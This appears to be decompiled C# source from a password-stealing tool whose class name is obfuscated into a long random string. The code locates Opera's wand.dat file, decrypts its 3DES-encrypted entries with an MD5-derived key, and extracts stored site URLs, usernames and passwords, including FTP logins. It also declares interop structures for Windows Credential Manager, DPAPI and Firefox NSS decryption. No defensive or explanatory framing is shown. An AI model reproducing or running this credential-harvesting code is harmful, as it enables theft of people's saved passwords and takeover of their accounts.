  {
    if (System.IO.File.Exists(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.path + "\\Opera\\Opera\\wand.dat"))
    {
      LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.path += "\\Opera\\Opera\\wand.dat";
      LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.version2();
    }
    else if (System.IO.File.Exists(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.path + "\\Opera\\Opera\\profile\\wand.dat"))
    {
      LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.path += "\\Opera\\Opera\\profile\\wand.dat";
      LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.version2();
    }
    return (object) LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoginData;
  }

  private static void version2()
  {
    try
    {
      byte[] sourceArray = System.IO.File.ReadAllBytes(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.path);
      int num1 = checked (sourceArray.Length - 5);
      int index1 = 0;
      while (index1 <= num1)
      {
        if (sourceArray[index1] == (byte) 0 && sourceArray[checked (index1 + 1)] == (byte) 0 && sourceArray[checked (index1 + 2)] == (byte) 0 && sourceArray[checked (index1 + 3)] == (byte) 8)
        {
          int num2 = (int) sourceArray[checked (index1 + 15)];
          byte[] numArray1 = new byte[8];
          byte[] numArray2 = new byte[checked (num2 - 1 + 1)];
          Array.Copy((Array) sourceArray, checked (index1 + 4), (Array) numArray1, 0, numArray1.Length);
          Array.Copy((Array) sourceArray, checked (index1 + 16), (Array) numArray2, 0, numArray2.Length);
          LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DOutput = Conversions.ToString(Microsoft.VisualBasic.CompilerServices.Operators.AddObject((object) LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DOutput, Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.decrypt2_method(numArray1, numArray2), (object) "\r\n")));
          checked { index1 += 11 + num2; }
        }
        checked { ++index1; }
      }
      LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.DOutput.Split(Conversions.ToChar(Environment.NewLine));
      int index2 = 0;
      do
      {
        LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index2] = (string) null;
        checked { ++index2; }
      }
      while (index2 <= 3);
      int num3 = checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines.Length - 1);
      int index3 = 0;
      while (index3 <= num3)
      {
        LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrlTemp = (string) null;
        LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUserTemp = (string) null;
        LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sPassTemp = (string) null;
        LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c = 0;
        try
        {
          if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Contains("http://") || LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Contains("https://") || LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Contains("ftp://"))
          {
            if (index3 != 0)
            {
              try
              {
                int num4 = checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Length - 1);
                int num5 = 0;
                while (num5 <= num4)
                {
                  if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3][checked (num5 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c)] > '\u007F')
                  {
                    LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Remove(checked (num5 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c), 1);
                    checked { ++LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c; }
                  }
                  checked { ++num5; }
                }
                if (checked (index3 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl) == 1)
                  LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrlTemp = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3];
                else if (checked (index3 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl) == 2)
                  LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrlTemp = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3];
                if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Contains("ftp://"))
                  LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrlTemp = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3];
                LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl = index3;
              }
              catch (Exception ex)
              {
                ProjectData.SetProjectError(ex);
                ProjectData.ClearProjectError();
              }
            }
          }
          else if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.ftp)
          {
            if (checked (index3 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl) != 1)
            {
              if (checked (index3 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl) != 2)
                goto label_51;
            }
            try
            {
              int num6 = checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Length - 1);
              int num7 = 0;
              while (num7 <= num6)
              {
                if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3][checked (num7 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c)] > '\u007F')
                {
                  LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Remove(checked (num7 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c), 1);
                  checked { ++LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c; }
                }
                checked { ++num7; }
              }
              if (checked (index3 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl) == 1)
                LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUserTemp = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3];
              else if (checked (index3 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl) == 2)
              {
                LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sPassTemp = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3];
                checked { ++LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c1; }
                LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.ftp = false;
              }
            }
            catch (Exception ex)
            {
              ProjectData.SetProjectError(ex);
              ProjectData.ClearProjectError();
            }
          }
          else if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl != 0)
          {
            if (index3 != checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl + 2))
            {
              if (index3 != checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl + 4))
                goto label_51;
            }
            try
            {
              int num8 = checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Length - 1);
              int num9 = 0;
              while (num9 <= num8)
              {
                if (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3][checked (num9 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c)] > '\u007F')
                {
                  LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3].Remove(checked (num9 - LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c), 1);
                  checked { ++LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c; }
                }
                checked { ++num9; }
              }
              if (index3 == checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl + 2))
                LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUserTemp = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3];
              else if (index3 == checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lasturl + 4))
              {
                LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sPassTemp = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Lines[index3];
                checked { ++LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c1; }
              }
            }
            catch (Exception ex)
            {
              ProjectData.SetProjectError(ex);
              ProjectData.ClearProjectError();
            }
          }
        }
        catch (Exception ex)
        {
          ProjectData.SetProjectError(ex);
          ProjectData.ClearProjectError();
        }
label_51:
        try
        {
          if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrlTemp, (string) null, false) != 0)
            LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrl[LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c1] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrlTemp;
          if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUserTemp, (string) null, false) != 0)
            LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUser[LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c1] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUserTemp;
          if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sPassTemp, (string) null, false) != 0)
          {
            try
            {
              LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sPass[checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c1 - 1)] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sPassTemp;
            }
            catch (Exception ex)
            {
              ProjectData.SetProjectError(ex);
              ProjectData.ClearProjectError();
            }
          }
        }
        catch (Exception ex)
        {
          ProjectData.SetProjectError(ex);
          ProjectData.ClearProjectError();
        }
        checked { ++index3; }
      }
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    int num = checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrl.Length - 1);
    int index = 0;
    while (index <= num && Microsoft.VisualBasic.CompilerServices.Operators.CompareString(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrl[index], "", false) != 0)
    {
      LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoginData[LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c2] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUrl[index];
      LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoginData[checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c2 + 1)] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sUser[index];
      LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.LoginData[checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c2 + 2)] = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.sPass[index];
      checked { LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.c2 += 3; }
      checked { ++index; }
    }
  }

  public static object decrypt2_method(byte[] key, byte[] encrypt_data)
  {
    object obj;
    try
    {
      MD5CryptoServiceProvider cryptoServiceProvider1 = new MD5CryptoServiceProvider();
      cryptoServiceProvider1.Initialize();
      byte[] numArray1 = new byte[checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.opera_salt.Length + (key.Length - 1) + 1)];
      Array.Copy((Array) LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.opera_salt, (Array) numArray1, LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.opera_salt.Length);
      Array.Copy((Array) key, 0, (Array) numArray1, LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.opera_salt.Length, key.Length);
      byte[] hash1 = cryptoServiceProvider1.ComputeHash(numArray1);
      byte[] numArray2 = new byte[checked (hash1.Length + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.opera_salt.Length + (key.Length - 1) + 1)];
      Array.Copy((Array) hash1, (Array) numArray2, hash1.Length);
      Array.Copy((Array) LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.opera_salt, 0, (Array) numArray2, hash1.Length, LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.opera_salt.Length);
      Array.Copy((Array) key, 0, (Array) numArray2, checked (hash1.Length + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.opera_salt.Length), key.Length);
      byte[] hash2 = cryptoServiceProvider1.ComputeHash(numArray2);
      TripleDESCryptoServiceProvider cryptoServiceProvider2 = new TripleDESCryptoServiceProvider();
      cryptoServiceProvider2.Mode = CipherMode.CBC;
      cryptoServiceProvider2.Padding = PaddingMode.None;
      byte[] destinationArray1 = new byte[24];
      byte[] destinationArray2 = new byte[8];
      Array.Copy((Array) hash1, (Array) destinationArray1, hash1.Length);
      Array.Copy((Array) hash2, 0, (Array) destinationArray1, hash1.Length, 8);
      Array.Copy((Array) hash2, 8, (Array) destinationArray2, 0, 8);
      cryptoServiceProvider2.Key = destinationArray1;
      cryptoServiceProvider2.IV = destinationArray2;
      obj = (object) Encoding.Unicode.GetString(cryptoServiceProvider2.CreateDecryptor().TransformFinalBlock(encrypt_data, 0, encrypt_data.Length));
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      obj = (object) "";
      ProjectData.ClearProjectError();
    }
    return obj;
  }

  private struct CREDENTIAL
  {
    public IntPtr dwFlags;
    public IntPtr dwType;
    public IntPtr lpstrTargetName;
    public IntPtr lpstrComment;
    public System.Runtime.InteropServices.ComTypes.FILETIME ftLastWritten;
    public IntPtr dwCredentialBlobSize;
    public IntPtr lpbCredentialBlob;
    public IntPtr dwPersist;
    public IntPtr dwAttributeCount;
    public IntPtr lpAttributes;
    public IntPtr lpstrTargetAlias;
    public IntPtr lpUserName;
  }

  [System.Flags]
  public enum CryptProtectPromptFlags
  {
    CRYPTPROTECT_PROMPT_ON_UNPROTECT = 1,
    CRYPTPROTECT_PROMPT_ON_PROTECT = 2,
  }

  [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
  public struct DATA_BLOB
  {
    public int cbData;
    public IntPtr pbData;
  }

  [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
  public struct CRYPTPROTECT_PROMPTSTRUCT
  {
    public int cbSize;
    public LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.CryptProtectPromptFlags dwPromptFlags;
    public IntPtr hwndApp;
    public string szPrompt;
  }

  public struct TSECItem
  {
    public int SECItemType;
    public int SECItemData;
    public int SECItemLen;
  }

  [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
  public delegate long DLLFunctionDelegate(string configdir);

  [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
  public delegate long DLLFunctionDelegate2();

  [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
  public delegate long DLLFunctionDelegate3(long slot, bool loadCerts, long wincx);

  [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
  public delegate int DLLFunctionDelegate4(
    IntPtr arenaOpt,
    IntPtr outItemOpt,
    StringBuilder inStr,
    int inLen);

  [UnmanagedFunctionPointer(CallingConvention.Cdecl)]
  public delegate int DLLFunctionDelegate5(
    ref LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem data,
    ref LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TSECItem result,
    int cx);
}
